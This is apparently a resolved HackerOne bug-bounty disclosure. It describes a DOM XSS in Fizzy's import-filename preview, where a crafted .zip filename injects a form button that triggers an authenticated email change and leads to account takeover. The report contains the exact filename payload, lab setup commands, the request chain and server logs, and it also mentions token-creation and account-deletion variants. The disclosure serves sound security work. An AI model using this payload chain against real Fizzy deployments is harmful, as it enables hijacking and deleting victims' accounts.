DOM XSS in `fizzy.do` import filename preview enables one-click victim account takeover
High
Vulnerability Details
## Description
## Summary:
While auditing the latest Fizzy code and validating it end to end in a live Docker deployment of current `main`, I found that the account import page renders the selected local filename with `innerHTML` instead of `textContent`.
In practice, that means a crafted `.zip` filename is not shown as text. It is parsed as live HTML inside the real authenticated import form on `/account/imports/new`. Because that form already contains the victim's session and a valid CSRF token, I was able to inject a second submit control with an attacker-chosen `formaction` and turn the filename preview into an authenticated request gadget.
I pushed this beyond a theoretical DOM issue and validated the full attack chain to victim account takeover. The strongest demonstrated path was:
1. I made the victim browser submit an email-change request to `[email protected]`
2. Fizzy sent the confirmation link to the attacker-controlled mailbox
3. I redeemed that confirmation link
4. Fizzy created a fresh authenticated victim session for me
5. I accessed the victim account and victim profile edit page with `200 OK`
I also separately validated two additional impacts from the same sink:
- victim write-scoped personal access token creation
- victim account deletion
The worst case that I actually demonstrated is full victim account takeover.
## Steps To Reproduce:
I am including a zip bundle with the exact scripts I used. The attachment contains:
- `basecamp_submission__fizzy_do__cwe-79__.md`
Purpose: this submission text in markdown form.
- `2026-03-16_import-filename_dom-xss_api-token.md`
Purpose: my full technical write-up with the complete attack path, evidence, and code references.
- `fizzy_dom_xss_seed.rb`
Purpose: seeds the attacker mailbox identity and victim owner account.
- `fizzy_dom_xss_takeover_chain.sh`
Purpose: replays the full account-takeover chain after the victim session exists.
- `fizzy_dom_xss_account_delete_poc.js`
Purpose: reproduces the secondary destructive impact, account deletion, in Playwright.
- `README.md`
I validated on current upstream:
- commit: `4211e20a663eb5ad8d4ca3340a1f8d247472c4dc`
### Setup
1. Check out the latest affected revision and build the app:
```bash
git clone https://github.com/basecamp/fizzy.git
cd fizzy
git fetch origin
git checkout 4211e20a663eb5ad8d4ca3340a1f8d247472c4dc
docker build -t fizzy-main-latest .
```
2. Start an SMTP capture container and a Fizzy app container:
```bash
docker run -d --name fizzy-mailhog-bridge mailhog/mailhog
docker run -d --name fizzy-ato-poc \
-e SECRET_KEY_BASE="$(openssl rand -hex 32)" \
-e DISABLE_SSL=true \
-e MULTI_TENANT=true \
-e SMTP_ADDRESS=172.17.0.6 \
-e SMTP_PORT=1025 \
-e SMTP_USERNAME=test \
-e SMTP_PASSWORD=test \
-e SMTP_AUTHENTICATION=plain \
-e BASE_URL=http://172.17.0.7:3000 \
fizzy-main-latest \
bash -lc './bin/rails db:prepare && ./bin/rails server -b 0.0.0.0 -p 3000'
```
3. Seed the attacker mailbox identity and victim owner account:
```bash
docker cp fizzy_dom_xss_seed.rb fizzy-ato-poc:/tmp/fizzy_dom_xss_seed.rb
docker exec fizzy-ato-poc bash -lc 'bundle exec rails runner /tmp/fizzy_dom_xss_seed.rb'
```
In my run, that gave me:
```text
victim account slug: /40002
victim user id: 03frq8zae2a7m9cari0v89xua
attacker mailbox: [email protected]
victim mailbox: [email protected]
```
4. Sign in as the victim through the real HTTP flow and keep the victim cookie jar:
```bash
curl -s -i -c /workspace/victim_ato.cookies -X POST \
-d [email protected] \
http://172.17.0.7:3000/session
```
Then finish the magic-link sign-in. In my lab I completed real victim authentication before triggering the filename attack.
### Full takeover reproduction
1. Create a local file whose name injects a second submit button into the import form:
```text
<button formaction=/40002/users/03frq8zae2a7m9cari0v89xua/email_addresses formmethod=post name=email_address [email protected]>Take over.zip
```
2. As the logged-in victim, open:
```text
http://172.17.0.7:3000/account/imports/new
```
3. Select the malicious file. The preview will render a live injected button instead of inert filename text.
4. Click the injected `Take over.zip` control. This causes the victim browser to submit:
```http
POST /40002/users/03frq8zae2a7m9cari0v89xua/email_addresses
```
with:
- the victim's real authenticated session
- the page's real CSRF token
- `[email protected]`
5. Open the attacker mailbox in MailHog and retrieve the `Confirm your new email address` message. It contains a real confirmation URL like:
```text
http://172.17.0.7:3000/40002/users/03frq8zae2a7m9cari0v89xua/email_addresses/.../confirmation
```
6. Visit that confirmation URL and submit the real confirmation form. Fizzy then responds with:
```http
HTTP/1.1 302 Found
Location: http://172.17.0.7:3000/40002/users/03frq8zae2a7m9cari0v89xua/edit
Set-Cookie: session_token=...; httponly; samesite=lax
```
7. Reuse that new `session_token` cookie to request:
```text
GET /40002/
GET /40002/users/03frq8zae2a7m9cari0v89xua/edit
```
Both returned `200 OK` in my validation.
8. Confirm server-side that the victim user identity email changed to `[email protected]`.
### What I observed during validation
The full takeover chain succeeded. These are the exact checkpoints I confirmed:
- victim-side malicious POST to `/40002/users/03frq8zae2a7m9cari0v89xua/email_addresses`
- confirmation mail delivered to the attacker mailbox
- successful confirmation POST
- new attacker-side `session_token`
- `200 OK` on the victim account and victim profile edit page
- victim identity now bound to `[email protected]`
### Additional validated impacts from the same sink
I also reproduced:
1. Victim write-scoped personal access token creation
```http
POST /20002/my/access_tokens
```
2. Victim account deletion
```http
POST /20002/account/cancellation
```
I included the deletion PoC script in the zip because it is a clean secondary demonstration of the same primitive, but the primary reportable impact is the mailbox-backed account takeover above.
## Supporting Material/References:
### Code references
- `app/javascript/controllers/upload_preview_controller.js`
- `app/views/account/imports/new.html.erb`
- `app/controllers/users/email_addresses_controller.rb`
- `app/controllers/users/email_addresses/confirmations_controller.rb`
- `app/controllers/account/cancellations_controller.rb`
### Key evidence I captured
Victim-side malicious POST:
```text
Started POST "/40002/users/03frq8zae2a7m9cari0v89xua/email_addresses" for 172.17.0.2
Processing by Users::EmailAddressesController#create as */*
Parameters: {"authenticity_token"=>"[FILTERED]", "email_address"=>"[email protected]", "user_id"=>"03frq8zae2a7m9cari0v89xua"}
[ActiveJob] Enqueued ActionMailer::MailDeliveryJob ... "UserMailer", "email_change_confirmation"
```
Attacker mailbox confirmation message:
```text
Subject: Confirm your new email address
http://172.17.0.7:3000/40002/users/03frq8zae2a7m9cari0v89xua/email_addresses/.../confirmation
```
Attacker-side confirmation response:
```http
HTTP/1.1 302 Found
Location: http://172.17.0.7:3000/40002/users/03frq8zae2a7m9cari0v89xua/edit
Set-Cookie: session_token=...; httponly; samesite=lax
```
Attacker-side access after takeover:
```text
ATTACKER_ACCOUNT_HTTP=200
ATTACKER_EDIT_HTTP=200
{user_identity_email: "[email protected]", account_slug: "/40002"}
```
### Attachment bundle
I prepared a zip bundle containing the report plus all supporting scripts and notes:
- `basecamp_fizzy_dom_xss_account_takeover_bundle.zip`
## Impact
# Impact
An external attacker can send a crafted `.zip` file to a logged-in Fizzy owner and, with a single click on the import page, cause the victim browser to submit attacker-chosen same-origin authenticated POST requests using the victim session and the page's valid CSRF token.
The worst case I actually demonstrated was full victim account takeover. I was able to:
- trigger a victim email change to an attacker-controlled mailbox
- receive the confirmation link in the attacker mailbox
- redeem that link
- obtain a fresh authenticated victim session
- access the victim account as that victim
I also separately demonstrated:
- victim write-token creation
- victim account deletion
So the demonstrated impact is not just UI manipulation or an isolated DOM bug. It is a reliable path to full account compromise, plus destructive integrity and availability impact, from a single user interaction on the import page.
Actions
View on HackerOneReport Stats
- Report ID: 3608199
- State: Closed
- Substate: resolved
- Upvotes: 2